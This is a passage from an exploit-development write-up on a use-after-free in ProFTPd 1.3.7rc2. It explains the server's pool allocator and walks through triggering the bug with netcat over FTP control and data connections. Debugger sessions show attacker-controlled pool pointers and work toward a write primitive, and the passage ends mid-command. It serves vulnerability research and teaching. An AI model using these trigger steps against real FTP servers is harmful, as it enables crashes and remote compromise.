triggered after timeout is reached. But the default value is too long (1 hour) so you can shorten it by adding the following compilation flags (but not required for the exploitation): --enable-timeout-idle=60 \ --enable-timeout-no-transfer=90 \ --enable-timeout-stalled=120 Also, as we'll see, we'll need mod_copy module. I prefer to build ProFTPd with this module builtin instead of loading it via DSO. Finally, we need to include debug flag "-g" so we can have debug symbols in gdb: $ cd proftpd-1.3.7rc2/ $ CFLAGS="-g" CXXFLAGS="-g" LDFLAGS="-g" ./configure --prefix=/usr/local \ --with-modules=mod_copy $ CFLAGS="-g" CXXFLAGS="-g" LDFLAGS="-g" make -j4 You may see "Program received signal SIGALRM, Alarm clock" more often if you decreased the timeouts, but that's harmless. However, this signal is enough to kill your shell when you get RCE! So don't do it :) or use `trap '' ALRM` as soon as you get a shell. The default compiler used is gcc. It's important to keep it due to the behavior I mentioned earlier. --[ 4 - Analysis of ProFTPd internals ProFTPd allocates a buffer for each command sent to the FTP control port. The commands are processed in "categories". There's a function called pr_cmd_dispatch_phase() which performs some logging and prepares the commands to be dispatched into the PRE_CMD, CMD, and POST_CMD phases. These phases are preconfigured in static table arrays, and each command has its own configuration. The _dispatch() function is called several times, once for each phase, and "dispatches" commands to the appropriate modules. The same happens for logging phases: PRE_LOG, LOG, and POST_LOG. The phases are processed by pr_module_call() in main.c:360 as function pointers: 360 mr = pr_module_call(c->m, c->handler, cmd); Each time a user connects to the daemon, it fork()s, and the child PID is added to the child_list structure, and child_listlen is incremented. There is a pipe between both parent and child, but it is closed as soon as the fork happens. ProFTPd uses its own internal memory allocator (please read previous references for more details about it). The pool structure is defined as follows: struct pool_rec { union block_hdr *first; union block_hdr *last; struct cleanup *cleanups; struct pool_rec *sub_pools; struct pool_rec *sub_next; struct pool_rec *sub_prev; struct pool_rec *parent; char *free_first_avail; const char *tag; }; The definition of block_hdr union is as follows: union align { char *cp; void (*f)(void); long l; FILE *fp; double d; }; union block_hdr { union align a; char pad[32]; /* Padding and aligning */ struct { void *endp; union block_hdr *next; void *first_avail; } h; }; NOTE: Some comments and #defines were removed for simplicity. ProFTPd allocates several pools for different purposes, but we'll focus on resp_pool since it's the one that is corrupted. The resp_pool used to store responses that are sent to the user (for example error messages). The memory allocations happens via alloc_pool(), however alloc_pool() is not called directly. There are wrappers to take care of some parameters: 616 void *pcalloc(struct pool_rec *p, size_t sz) { 617 void *res; 618 619 res = palloc(p, sz); 620 memset(res, '\0', sz); 621 622 return res; 623 } As you can see, pcalloc() is a wrapper for palloc(), which is defined as: 608 void *palloc(struct pool_rec *p, size_t sz) { 609 return alloc_pool(p, sz, FALSE); 610 } Finally let's see alloc_pool(): 558 static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) { 559 /* Round up requested size to an even number of aligned units */ 560 size_t nclicks = 1 + ((reqsz - 1) / CLICK_SZ); 561 size_t sz = nclicks * CLICK_SZ; 562 union block_hdr *blok; 563 char *first_avail, *new_first_avail; 564 565 /* For performance, see if space is available in the most recently 566 * allocated block. 567 */ 568 569 blok = p->last; 570 if (blok == NULL) { 571 errno = EINVAL; 572 return NULL; 573 } 574 575 first_avail = blok->h.first_avail; 576 577 if (reqsz == 0) { 578 /* Don't try to allocate memory of zero length. 579 * 580 * This should NOT happen normally; if it does, by returning NULL we 581 * almost guarantee a null pointer dereference. 582 */ 583 errno = EINVAL; 584 return NULL; 585 } 586 587 new_first_avail = first_avail + sz; 588 589 if (new_first_avail <= (char *) blok->h.endp) { 590 blok->h.first_avail = new_first_avail; 591 return (void *) first_avail; 592 } 593 594 /* Need a new one that's big enough */ 595 pr_alarms_block(); 596 597 blok = new_block(sz, exact); 598 p->last->h.next = blok; 599 p->last = blok; 600 601 first_avail = blok->h.first_avail; 602 blok->h.first_avail = sz + (char *) blok->h.first_avail; 603 604 pr_alarms_unblock(); 605 return (void *) first_avail; 606 } ProFTPd uses both palloc() and pcalloc(), but when it needs a zeroed out buffer, it prefers pcalloc() over palloc(). We'll see later that we control the p->last value. To keep control of the pool blocks, we always need to return on line 591. If a new block is retrieved, we lose control because another memory region will be returned and overwrite the value we previously controlled. There is also an important function called make_sub_pool(), which is mostly called when ProFTPd needs a temporary pool. Its definition is as follows: 415 struct pool_rec *make_sub_pool(struct pool_rec *p) { 416 union block_hdr *blok; 417 pool *new_pool; 418 419 pr_alarms_block(); 420 421 blok = new_block(0, FALSE); 422 423 new_pool = (pool *) blok->h.first_avail; 424 blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail; 425 426 memset(new_pool, 0, sizeof(struct pool_rec)); 427 new_pool->free_first_avail = blok->h.first_avail; 428 new_pool->first = new_pool->last = blok; 429 430 if (p) { 431 new_pool->parent = p; 432 new_pool->sub_next = p->sub_pools; 433 434 if (new_pool->sub_next) 435 new_pool->sub_next->sub_prev = new_pool; 436 437 p->sub_pools = new_pool; 438 } 439 440 pr_alarms_unblock(); 441 442 return new_pool; 443 } Basically, it retrieves a new block from block_freelist and inserts a new pool in pool *p, updating its next, previous, and parent pointers. We'll see later that we control the members of p. Also, some operations involve its members. Note that a pointer to p will be stored in new_pool->parent; this is a pointer to data that we control. Push this information into your mind for now - we will need to pop it later. We won't be interested in new_block(), but there's an explanation about it in pool.c:184: Get a new block, from the free list if possible, otherwise malloc a new one. minsz is the requested size of the block to be allocated. If exact is TRUE, then minsz is the exact size of the allocated block; otherwise, the allocated size will be rounded up from minsz to the nearest multiple of BLOCK_MINFREE. Now that we understand some basic ProFTPd memory allocator internals, let's dig into how to trigger the vulnerability. --[ 5 - Vulnerability analysis As we saw earlier, although this vulnerability could also be triggered during the process of downloading a file from the server, the attacker would hardly have control over the payload. So I think the best approach is to use the upload functionality and trigger the flaw by shutting down the FTP control connection while the upload data transfer is happening. Triggering this condition is easy and can be forced by the attacker. Now, start ProFTPd in a separate shell with some debugging options: $ cd proftpd-1.3.7rc2/ $ sudo proftpd -d7 -n -c sample-configurations/basic.conf In my setup I changed default port to 2121 and created a user called poc. Go to basic.conf file and change the Port value to: Port 2121 Now, open a new shell (let's call this shell 2), netcat to FTP command port and issue FTP login commands: $ nc -Cv 127.0.0.1 2121 Connection to 127.0.0.1 2121 port [tcp/iprop] succeeded! 220 ProFTPD Server (ProFTPD Default Installation) [127.0.0.1] USER poc 331 Password required for poc PASS TretaTretaTretinha 230 User poc logged in Now we need to start a data transfer. Since we want to have control over the data, we could use STOU and STOR commands. However, due to the other out-of-bounds read vulnerability, according to my tests, STOU is not a good choice because: a) it will mess up with the bounds and our exploitation; b) we don't have control over the filename - this will be required if you need to upload data into an existing file, in case you don't have the permissions to create a new one. So let's use STOR instead, but first let's put FTP in passive mode: PASV 227 Entering Passive Mode (127,0,0,1,147,87). The FTP data port to connect to is an unsigned short int (2-byte in size). The formula to get port number is: X*256+Y. Open gdb and try it yourself: gef➤ p/d 147*256+87 $4 = 37719 So in this case our FTP data port is 37719. Now open shell 3 and type: $ nc -vl 127.0.0.1 $((147*256+87)) Connection to 127.0.0.1 37719 port [tcp/iprop] succeeded! Now go back to shell 2 and issue the following: STOR /tmp/blah.txt 150 Opening ASCII mode data connection for /tmp/blah.txt At this moment, our FTP data connection is opened at shell 3, and waiting for some data. Let's hold it for a while. Go back to shell 2 and issue some fake commands: 1111 AAAAAAAAAAAAAAAAAAAAAAA 2222 BBBBBBBBBBBBBBBBBBBBBBB 3333 CCCCCCCCCCCCCCCCCCCCCCC ^C $ Notice that after 3 fake commands I pressed ctrl+c to close the FTP control connection, so we have no more control over this connection. Now, go back to shell 3 and send some data: $ nc -Cv localhost $((147*256+87)) Connection to localhost 37719 port [tcp/*] succeeded! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD nc: write failed (0/2): Broken pipe $ As you can see, the connection was closed by remote host after some data sent and a crash on ProFTPd daemon happened: -----BEGIN STACK TRACE----- ... [0] proftpd: poc - localhost: IDLE(+0x215cd) [0x55c9806715cd] ... [1] proftpd: poc - localhost: IDLE(+0x215cd) [0x55c9806715cd] ... [2] proftpd: poc - localhost: IDLE(palloc+0x2c) [0x55c9806716b0] ... [3] proftpd: poc - localhost: IDLE(pstrdup+0x5b) [0x55c980673409] ... [4] proftpd: poc - localhost: IDLE(pr_response_set_pool+0x53) [0x55..] ... [5] proftpd: poc - localhost: IDLE(pr_cmd_dispatch_phase+0xe4) [0x5..] ... [6] proftpd: poc - localhost: IDLE(+0xa64e9) [0x55c9806f64e9] ... [7] proftpd: poc - localhost: IDLE(pr_event_generate+0x20e) [0x55c9..] ... [8] proftpd: poc - localhost: IDLE(+0x6ce75) [0x55c9806bce75] ... [9] proftpd: poc - localhost: IDLE(pr_session_end+0x20) [0x55c9806b..] ... [10] proftpd: poc - localhost: IDLE(pr_session_disconnect+0xaf) [0x..] ... [11] proftpd: poc - localhost: IDLE(+0x527cf) [0x55c9806a27cf] ... [12] proftpd: poc - localhost: IDLE(pr_data_xfer+0x68) [0x55c9806a2..] ... [13] proftpd: poc - localhost: IDLE(+0x9fb13) [0x55c9806efb13] ... [14] proftpd: poc - localhost: IDLE(pr_module_call+0x9d) [0x55c9806..] ... [15] proftpd: poc - localhost: IDLE(+0x1b8f2) [0x55c98066b8f2] ... [16] proftpd: poc - localhost: IDLE(pr_cmd_dispatch_phase+0x2dc) [0..] ... [17] proftpd: poc - localhost: IDLE(pr_cmd_dispatch+0x26) [0x55c980..] ... [18] proftpd: poc - localhost: IDLE(+0x1cbad) [0x55c98066cbad] ... [19] proftpd: poc - localhost: IDLE(+0x1decd) [0x55c98066decd] ... [20] proftpd: poc - localhost: IDLE(+0x1e6f4) [0x55c98066e6f4] ... [21] proftpd: poc - localhost: IDLE(+0x1eb5a) [0x55c98066eb5a] ... [22] proftpd: poc - localhost: IDLE(main+0x937) [0x55c98066f952] ... [23] /lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf3) [0x7f7d..] ... [24] proftpd: poc - localhost: IDLE(_start+0x2e) [0x55c98066ac7e] -----END STACK TRACE----- If you look closely, you'll see that the number of lines accepted in the data connection is the same amount of commands sent in control connection +2. This can give us a clue about what data is about to be written in the heap after some free state: the CCC line we sent is processed by ProFTPd, and that's where data is stored after being freed, overwriting something with CCCCCCC. However, the DDD line was not processed because by the time we sent it, the socket was already closed by the server. When the vulnerability is triggered, p points to resp_pool. Interestingly, it seems that ProFTPd developers predicted some problem involving the resp_pool pointer in main.c: 638 /* Get any previous pool that may be being used by the Response API. 639 * 640 * In most cases, this will be NULL. However, if proftpd is in the 641 * midst of a data transfer when a command comes in on the control 642 * connection, then the pool in use will be that of the data transfer 643 * instigating command. We want to stash that pool, so that after this 644 * command is dispatched, we can return the pool of the old command. 645 * Otherwise, Bad Things (segfaults) happen. 646 */ Now it's time to analyse this crash in gdb. --[ 5.1 - Exploitation details When the vulnerability is triggered, the program's execution flow is in the process of closing some file descriptors, writing to some log files, freeing some memory and executing housekeeping (cleanup) processes. The FTP control connection has to be closed, so we may have few options to mess with execution flow, since all the FTP commands were already issued. However, you may have noticed that FTP didn't respond to our fake commands until the data were sent through data connection. This means that our commands are probably in memory and we may combine with the data payload to construct an exploitation path, after the use-after-free was triggered. Our daemon is already started; now open gdb as follows: $ sudo gdb -d proftpd-1.3.7rc2/src/ \ -d proftpd-1.3.7rc2/modules/ \ proftpd-1.3.7rc2/proftpd Since we know that our process is forked, we should configure gdb properly: gef➤ set follow-fork-mode child gef➤ ps proftpd 403448 root 0.0 0.0 pts/4 sudo gdb -d proftpd-1.3.7rc2/src/ -d pr... 403450 root 0.5 0.5 pts/4 gdb -d proftpd-1.3.7rc2/src/ -d proftpd... 403880 root 0.0 0.0 pts/4 sudo proftpd-1.3.7rc2/proftpd -d7 -n -c... 403881 nobody 0.0 0.0 pts/4 proftpd: (accepting connections) gef➤ attach 403881 gef➤ c The first line tells gdb that we want to follow the child process after fork(), which means gdb will detach from the main daemon (parent) and attach to the child right after fork() returns the child PID. - NOTE: gef has a nice fork stub solution, but its behavior is not what we want here, since the parent process would think it's the child, and there will be no daemon after it exits. So let's keep using the traditional gdb follow-fork-mode child. We don't need stub behavior, nor will we need to restart ProFTPd every time. On the second line, we use gef's ps command to find the ProFTPd process ID to attach to. On the last two lines, we attach to it and let gdb continue execution. Now we repeat the same steps on shell 2 and shell 3 as we learned in the previous chapter. Let's observe the crash in gdb. $ nc -Cv 127.0.0.1 2121 Connection to 127.0.0.1 2121 port [tcp/iprop] succeeded! 220 ProFTPD Server (ProFTPD Default Installation) [127.0.0.1] USER poc PASS TretaTretaTretinha PASV STOR /tmp/bbb.txt 1111 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 2222 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB 3333 CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC ^C $ Note that the FTP standard says commands should be at most 4 chars long, so we should limit the size of the commands we issue, otherwise ProFTPd will discard them. This rule does not apply to the parameters, so we are free there. We will come back to this later. You might notice that gdb stops after receiving SIGPIPE. That is because signals are caught by gdb and, depending on its configuration, it can stop execution. SIGPIPE happens when the connection pipe is closed, since we forced the connection to close. We don't want gdb to stop on SIGPIPE because it's not important to our exploitation, so whenever the process receives it, let's pass the signal to ProFTPd directly. We will do the same with SIGALRM. ProFTPd sends this signal after reaching the timeout-idle time. So add the following configuration to gdb: gef➤ handle SIGPIPE pass nostop gef➤ handle SIGALRM pass nostop On the shell 3 you will have the following: $ nc -Cv 127.0.0.1 $((177*256+215)) Connection to 127.0.0.1 45527 port [tcp/*] succeeded! DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW After sending the WWW line you may have noticed that gdb stopped with a SIGSEGV signal: ────────────────────────────────────────────────────────── registers ──── $rax: 0x5757575757575757 ("WWWWWWWW"?) $rbx: 0x00005644eebb8320 → 0x0000000000000002 $rcx: 0x4 $rdx: 0x0 $rsp: 0x00007ffcc3b492a0 → 0x0000000000000043 ("C"?) $rbp: 0x00007ffcc3b492f0 → 0x00007ffcc3b49310 → 0x00007ffcc3b49340 $rsi: 0x4 $rdi: 0x00005644f0439bd1 → "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW[...]" $rip: 0x00005644eeabd5cd → <alloc_pool+99> mov rax, QWORD PTR [rax+0x10] $r8 : 0x00005644f0408da0 → "Transfer aborted. Data connection closed" $r9 : 0x00007ffcc3b49100 → 0x0000000000000000 $r10: 0x00005644eeb86d9c → 0xfff6776e00000000 $r11: 0xd $r12: 0x00005644eeab6c50 → <_start+0> endbr64 $r13: 0x00007ffcc3b49d30 → 0x0000000000000005 $r14: 0x0 $r15: 0x0 ──────────────────────────────────────────────────────── code:x86:64 ──── 0x5644eeabd5be <alloc_pool+84> add BYTE PTR [rax+0x0], bh 0x5644eeabd5c4 <alloc_pool+90> jmp 0x5644eeabd682 <alloc_pool+280> 0x5644eeabd5c9 <alloc_pool+95> mov rax, QWORD PTR [rbp-0x18] → 0x5644eeabd5cd <alloc_pool+99> mov rax, QWORD PTR [rax+0x10] 0x5644eeabd5d1 <alloc_pool+103> mov QWORD PTR [rbp-0x10], rax 0x5644eeabd5d5 <alloc_pool+107> cmp QWORD PTR [rbp-0x40], 0x0 0x5644eeabd5da <alloc_pool+112> jne 0x5644eeabd5f1 <alloc_pool+135> ────────────────────────────────────────────────── source:pool.c+575 ──── 570 if (blok == NULL) { 571 errno = EINVAL; 572 return NULL; 573 } 574 // blok=0x00007ffcc3b492d8 → "WWWWWWWW" → 575 first_avail = blok->h.first_avail; 576 ──────────────────────────────────────────────────────────── threads ──── [#0] ... "proftpd" stopped 0x5644eeabd5cd in alloc_pool (), reason: SIGSEGV ────────────────────────────────────────────────────────────── trace ──── [#0] 0x5644eeabd5cd → alloc_pool(p=0x5644f0439bd1, reqsz=0x4, exact=0x0) [#1] 0x5644eeabd6b0 → palloc(p=0x5644f0439bd1, sz=0x4) [#2] 0x5644eeabf409 → pstrdup(p=0x5644f0439bd1, str=0x5644f0408dd0 "426") [#3] 0x5644eeaeb6f0 → pr_response_set_pool(p=0x5644f0439bd1) [#4] 0x5644eeab8192 → pr_cmd_dispatch_phase(cmd=0x5644f04381b8, ...) [#5] 0x5644eeb424e9 → xfer_exit_ev(event_data=0x0, user_data=0x0) [#6] 0x5644eeb07aed → pr_event_generate(event=0x5644eeb8a4d5 "core.exit"... [#7] 0x5644eeb08e75 → sess_cleanup(flags=0x0) [#8] 0x5644eeb08f97 → pr_session_end(flags=0x0) [#9] 0x5644eeb08f74 → pr_session_disconnect(m=0x0, reason_code=0x2, ...) ───────────────────────────────────────────────────────────────────────── I've ommited some output, but all the required information by now was preserved. Looking at the rax register and the assembly line the program stopped on, we can see that the crash happened with our input. Good! This show us that we are able to control something. More specifically, we control the members of p: gef➤ p *p $1 = { first = 0x5757575757575757, last = 0x5757575757575757, cleanups = 0x5757575757575757, sub_pools = 0x5757575757575757, sub_next = 0x5757575757575757, sub_prev = 0x5757575757575757, parent = 0x5757575757575757, free_first_avail = 0xa0a, tag = 0x0 } The crash happened on alloc_pool which we already learned about: 569 blok = p->last; 570 if (blok == NULL) { 571 errno = EINVAL; 572 return NULL; 573 } 574 575 first_avail = blok->h.first_avail; As we can see above, blok is defined as p->last, which we control. The crash happened on line 575 when it tried to retrieve the value of blok->h.first_avail. Since it points to a non-pageable address, it crashes. Now we know how to trigger the vulnerability and control p's members. Let's analyze whether or not we can use this we can gain control over execution. ----[ 5.2 - Defining exploitation strategy Now, let's detach our gdb and add a breakpoint, so we can analyze the program state before the crash happens: ctrl+c gef➤ detach gef➤ break pool.c:569 if (p && p->first >= 0x4141414141414141) The second line puts a conditional breakpoint on line 569 in pool.c. This means that gdb will stop on this line only if p is not null and p->first member is greater or equal to 0x4141414141414141. Since we're flooding with WWW gdb should stops before receiving SIGSEGV next time. Attach to gdb and repeat the same steps. You should see gdb breaking on pool.c:569 and not crashing: ──────────────────────────────────────────────────────── code:x86:64 ──── 0x5644eeabd595 <alloc_pool+43> mov rax, QWORD PTR [rbp-0x28] 0x5644eeabd599 <alloc_pool+47> shl rax, 0x3 0x5644eeabd59d <alloc_pool+51> mov QWORD PTR [rbp-0x20], rax → 0x5644eeabd5a1 <alloc_pool+55> mov rax, QWORD PTR [rbp-0x38] 0x5644eeabd5a5 <alloc_pool+59> mov rax, QWORD PTR [rax+0x8] 0x5644eeabd5a9 <alloc_pool+63> mov QWORD PTR [rbp-0x18], rax 0x5644eeabd5ad <alloc_pool+67> cmp QWORD PTR [rbp-0x18], 0x0 0x5644eeabd5b2 <alloc_pool+72> jne 0x5644eeabd5c9 <alloc_pool+95> ────────────────────────────────────────────────── source:pool.c+569 ──── // p=0x00007ffcc3b492b8 → [...] → "ZZZZZZZZZZZZZ[...]" → 569 blok = p->last; 570 if (blok == NULL) { 571 errno = EINVAL; 572 return NULL; 573 } ──────────────────────────────────────────────────────────── threads ──── [#0] "proftpd" stopped 0x5644eeabd5a1 in alloc_pool (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────────── Great! Let's analyze p members again: gef➤ p *p $2 = { first = 0x5a5a5a5a5a5a5a5a, last = 0x5a5a5a5a5a5a5a5a, cleanups = 0x5a5a5a5a5a5a5a5a, sub_pools = 0x5a5a5a5a5a5a5a5a, sub_next = 0x5a5a5a5a5a5a5a5a, sub_prev = 0x5a5a5a5a5a5a5a5a, parent = 0x5a5a5a5a5a5a5a5a, free_first_avail = 0x5a5a5a5a5a5a5a5a, tag = 0x5a5a5a5a5a5a5a5a } gef➤ This time I sent a ZZZZ string, and if we continue we know it will SIGSEGV. It would be good if we knew what values to send on data connection, then we can try to control memory pool allocations based on our choice. However, we first need to understand if this is an exploitable bug - that is, a vulnerability that allows us to gain control over execution. I spent a lot of time studying this vulnerability (weeks, in fact), trying many combined exploitation paths. The outcome of this research is the best exploitation path I could find, but there are probably other ways to try - and I hope you can do much better than me =). I documented some ideas in later chapter. For now I will skip the dead-end parts of this research and focus on the path that I was successful with. Now, let's change p->last member to something else: gef➤ set p->last = &p->cleanups The "set" gdb command, as suggested, is used to "evaluate [an] expression EXP and assign result to variable VAR" - type "help set" for more details. gef➤ p *p $6 = { first = 0x5a5a5a5a5a5a5a5a, last = 0x5644f0439c61, cleanups = 0x5a5a5a5a5a5a5a5a, sub_pools = 0x5a5a5a5a5a5a5a5a, sub_next = 0x5a5a5a5a5a5a5a5a, sub_prev = 0x5a5a5a5a5a5a5a5a, parent = 0x5a5a5a5a5a5a5a5a, free_first_avail = 0x5a5a5a5a5a5a5a5a, tag = 0x5a5a5a5a5a5a5a5a } We defined p->last as the memory address of &p->cleanups. As I explained earlier, this is the exploitation strategy I've chosen, which depends on knowing the contents of resp_pool (remember that p points to resp_pool and we control the members of this structure). gef➤ p *p->last $7 = { a = { cp = 0x5a5a5a5a5a5a5a5a, f = 0x5a5a5a5a5a5a5a5a, l = 0x5a5a5a5a5a5a5a5a, fp = 0x5a5a5a5a5a5a5a5a, d = 1.7838867517321418e+127 }, pad = 'Z' <repete 32 vezes>, h = { endp = 0x5a5a5a5a5a5a5a5a, next = 0x5a5a5a5a5a5a5a5a, first_avail = 0x5a5a5a5a5a5a5a5a } } gef➤ Here it's important to understand that p->last is a union type, and when we print p->last we see the values of cleanups, sub_pools, and sub_next members, which we control. Okay, we did change it, but we know that on line 575 it will crash again because first_avail is not a valid address. I decided to point it to my own structure because it contains data that we can manipulate. Of course, we assume by now that we know p's address and can calculate the &p->cleanups offset. If we continue execution, we'll see that it crashes again. So before we continue, let's change the p members again: gef➤ set p->sub_next = &p->tag gef➤ p *p->last $10 = { a = { cp = 0x5a5a5a5a5a5a5a5a, f = 0x5a5a5a5a5a5a5a5a, l = 0x5a5a5a5a5a5a5a5a, fp = 0x5a5a5a5a5a5a5a5a, d = 1.7838867517321418e+127 }, pad = 'Z' <repete 16 vezes>, "\221\234C\360DV\000\000ZZZZZZZZ", h = { endp = 0x5a5a5a5a5a5a5a5a, next = 0x5a5a5a5a5a5a5a5a, first_avail = 0x5644f0439c91 } } gef➤ Ok, let's recap on alloc_pool: static void *alloc_pool(struct pool_rec *p, size_t reqsz, int exact) { [...] 569 blok = p->last; 570 if (blok == NULL) { 571 errno = EINVAL; 572 return NULL; 573 } 574 575 first_avail = blok->h.first_avail; [...] 587 new_first_avail = first_avail + sz; 588 589 if (new_first_avail <= (char *) blok->h.endp) { 590 blok->h.first_avail = new_first_avail; 591 return (void *) first_avail; 592 } 593 [...] /* Need a new one that's big enough */ 597 blok = new_block(sz, exact); 598 p->last->h.next = blok; 599 p->last = blok; 600 601 first_avail = blok->h.first_avail; 602 blok->h.first_avail = sz + (char *) blok->h.first_avail; [...] 605 return (void *) first_avail; 606 } Reading the code above, if the size of the block is not large enough to store the data, it will evaluate to false on line 589, and another block will be retrieved from the pool on line 597, overwriting p->last. This is not desirable, as we would lose control of p's members. We need to make sure we keep control of the allocations at all times. This is very important for successful exploitation. Thus, we need alloc_pool to evaluate to true at line 589 and return at line 591. This means p->last->h.endp should have a value greater than p->last->h.first_avail. At some point, I tried partially overwriting of p->last, but since I need it to pass the if at pool.c:576, I thought it would be very difficult to succeed with this approach. Now first_avail is a valid pointer and the condition will be evaluated as true, returning a pointer controllable by us: gef➤ p *p->last $11 = { ... h = { endp = 0x5a5a5a5a5a5a5a5a, next = 0x5a5a5a5a5a5a5a5a, first_avail = 0x5644f0439c91 } gef➤ Let's also put a breakpoint on pool.c:597 in case we lose the control of p, and continue the execution: gef➤ break pool.c:597 if (p && p->first >= 0x4141414141414141) gef➤ c Humm, interesting. It seems that it's allocating a buffer to store the responses to our commands. Let's recap the previous and the current answers: First break: ────────────────────────────────────────────────────────────── trace ──── [#0] 0x5644eeabd5cd → alloc_pool(p=0x5644f0439bd1, reqsz=0x4, exact=0x0) [#1] 0x5644eeabd6b0 → palloc(p=0x5644f0439bd1, sz=0x4) [#2] 0x5644eeabf409 → pstrdup(p=0x5644f0439bd1, str=0x5644f0408dd0 "426") [#3] 0x5644eeaeb6f0 → pr_response_set_pool(p=0x5644f0439bd1) Second break (current): ────────────────────────────────────────────────────────────── trace ──── [#0] 0x5644eeabd5a1 → alloc_pool(p=0x5644f0439c51, reqsz=0x29, exact=0x0) [#1] 0x5644eeabd6b0 → palloc(p=0x5644f0439c51, sz=0x29) [#2] 0x5644eeabf409 → pstrdup(p=0x5644f0439c51, str=0x5644f0408de0 "Transfer aborted. Data connection closed") [#3] 0x5644eeaeb721 → pr_response_set_pool(p=0x5644f0439c51) As we know, p points to resp_pool which was set in pr_response_set_pool(). ProFTPd uses the p->last block to store error messages due to lost data connections. At the first break it contained the "426" error code. At the second break the string "Transfer aborted. Data connection closed" is seen. We also know the size of each string from the reqsz parameter. We can continue with gdb two more times; it will print the "426" error code and the string again. On the 5th time we'll get SIGSEGV in another function: $rax : 0x4141414141414141 ("AAAAAAAA"?) $rbx : 0x000055555567aac0 → 0x0000000000000002 $rcx : 0x00005555556db030 → 0x0000000000000000 $rdx : 0x00005555556dae30 → 0x00005555556dae10 $rsp : 0x00007fffffffd940 → 0x0000000000000000 $rbp : 0x00007fffffffd960 → 0x00007fffffffda00 $rsi : 0x0 $rdi : 0x00005555556dae30 → 0x00005555556dae10 $rip : 0x00005555555757d5 → <make_sub_pool+197> $r8 : 0x56a $r9 : 0x0000555555674dc0 → 0x0000000000000001 $r10 : 0x00007ffff7eff040 → 0x0000000000000000 $r11 : 0x9 $r12 : 0x00007fffffffe3f8 → 0x00007fffffffe68d $r13 : 0x00005555555734ea → <main+0> endbr64 $r14 : 0x0 $r15 : 0x00007ffff7ffbc40 → 0x00050f0800000000 ──────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd940│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffd948│+0x0008: 0x0000555555712760 → "DDDDDDDDp'qUUU" 0x00007fffffffd950│+0x0010: 0x00005555556dae10 → 0x00005555556db030 0x00007fffffffd958│+0x0018: 0x00005555556dae30 → 0x00005555556dae10 0x00007fffffffd960│+0x0020: 0x00007fffffffda00 → 0x00007fffffffda40 0x00007fffffffd968│+0x0028: 0x000055555556f7be → <_dispatch+577> 0x00007fffffffd970│+0x0030: 0x00005555556d5da8 → 0x0000000000000000 0x00007fffffffd978│+0x0038: 0x000055555563d3b1 → 0x660000000000002a ────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555757c9 <make_sub_pool+185> mov rax, QWORD PTR [rbp-0x8] 0x5555555757cd <make_sub_pool+189> mov rax, QWORD PTR [rax+0x20] 0x5555555757d1 <make_sub_pool+193> mov rdx, QWORD PTR [rbp-0x8] → 0x5555555757d5 <make_sub_pool+197> mov QWORD PTR [rax+0x28], rdx 0x5555555757d9 <make_sub_pool+201> mov rax, QWORD PTR [rbp-0x18] 0x5555555757dd <make_sub_pool+205> mov rdx, QWORD PTR [rbp-0x8] 0x5555555757e1 <make_sub_pool+209> mov QWORD PTR [rax+0x18], rdx 0x5555555757e5 <make_sub_pool+213> call <pr_alarms_unblock> 0x5555555757ea <make_sub_pool+218> mov rax, QWORD PTR [rbp-0x8] ──────────────────────────────────────────────────── source:pool.c+435 ──── 430 if (p) { 431 new_pool->parent = p; 432 new_pool->sub_next = p->sub_pools; 433 434 if (new_pool->sub_next) → 435 new_pool->sub_next->sub_prev = new_pool; 436 437 p->sub_pools = new_pool; 438 } 439 440 pr_alarms_unblock(); ────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "proftpd", stopped in make_sub_pool (), reason: SIGSEGV ──────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555757d5 → make_sub_pool(p=0x555555712760) [#1] 0x55555556f7be → _dispatch(cmd=0x5555556d24f8, cmd_type=0x6, [...] [#2] 0x5555555708a6 → pr_cmd_dispatch_phase(cmd=0x5555556d24f8, [...] [#3] 0x5555555fc5f9 → xfer_exit_ev(event_data=0x0, user_data=0x0) [#4] 0x5555555c0cbd → pr_event_generate(event=0x555555649305 "core.e [...] [#5] 0x5555555c2066 → sess_cleanup(flags=0x0) [#6] 0x5555555c218d → pr_session_end(flags=0x0) [#7] 0x5555555c216a → pr_session_disconnect(m=0x0, reason_code=0x2, [...] [#8] 0x5555555a774d → poll_ctrl() [#9] 0x5555555a7c7d → pr_data_xfer(cl_buf=0x555555712760 "DDDDDDDDp' [...] ─────────────────────────────────────────────────────────────────────────── gef➤ Now it's time to pop up the make_sub_pool() that we saw before. Here we have another opportunity when creating a temporary sub-pool. On line 432, we can see that new_pool->sub_next is controllable by us. Then, at the offset of sub_prev on line 435, the value of new_pool is written. So, it's not really an arbitrary write because we control only the memory location, not the content being written - which is the memory address of new_pool. So detach and repeat everything. After the breakpoint on pool.c:569 do: gef➤ break pool.c:432 if (p->sub_pools >= 0x4141414144444444) gef➤ set p->last = 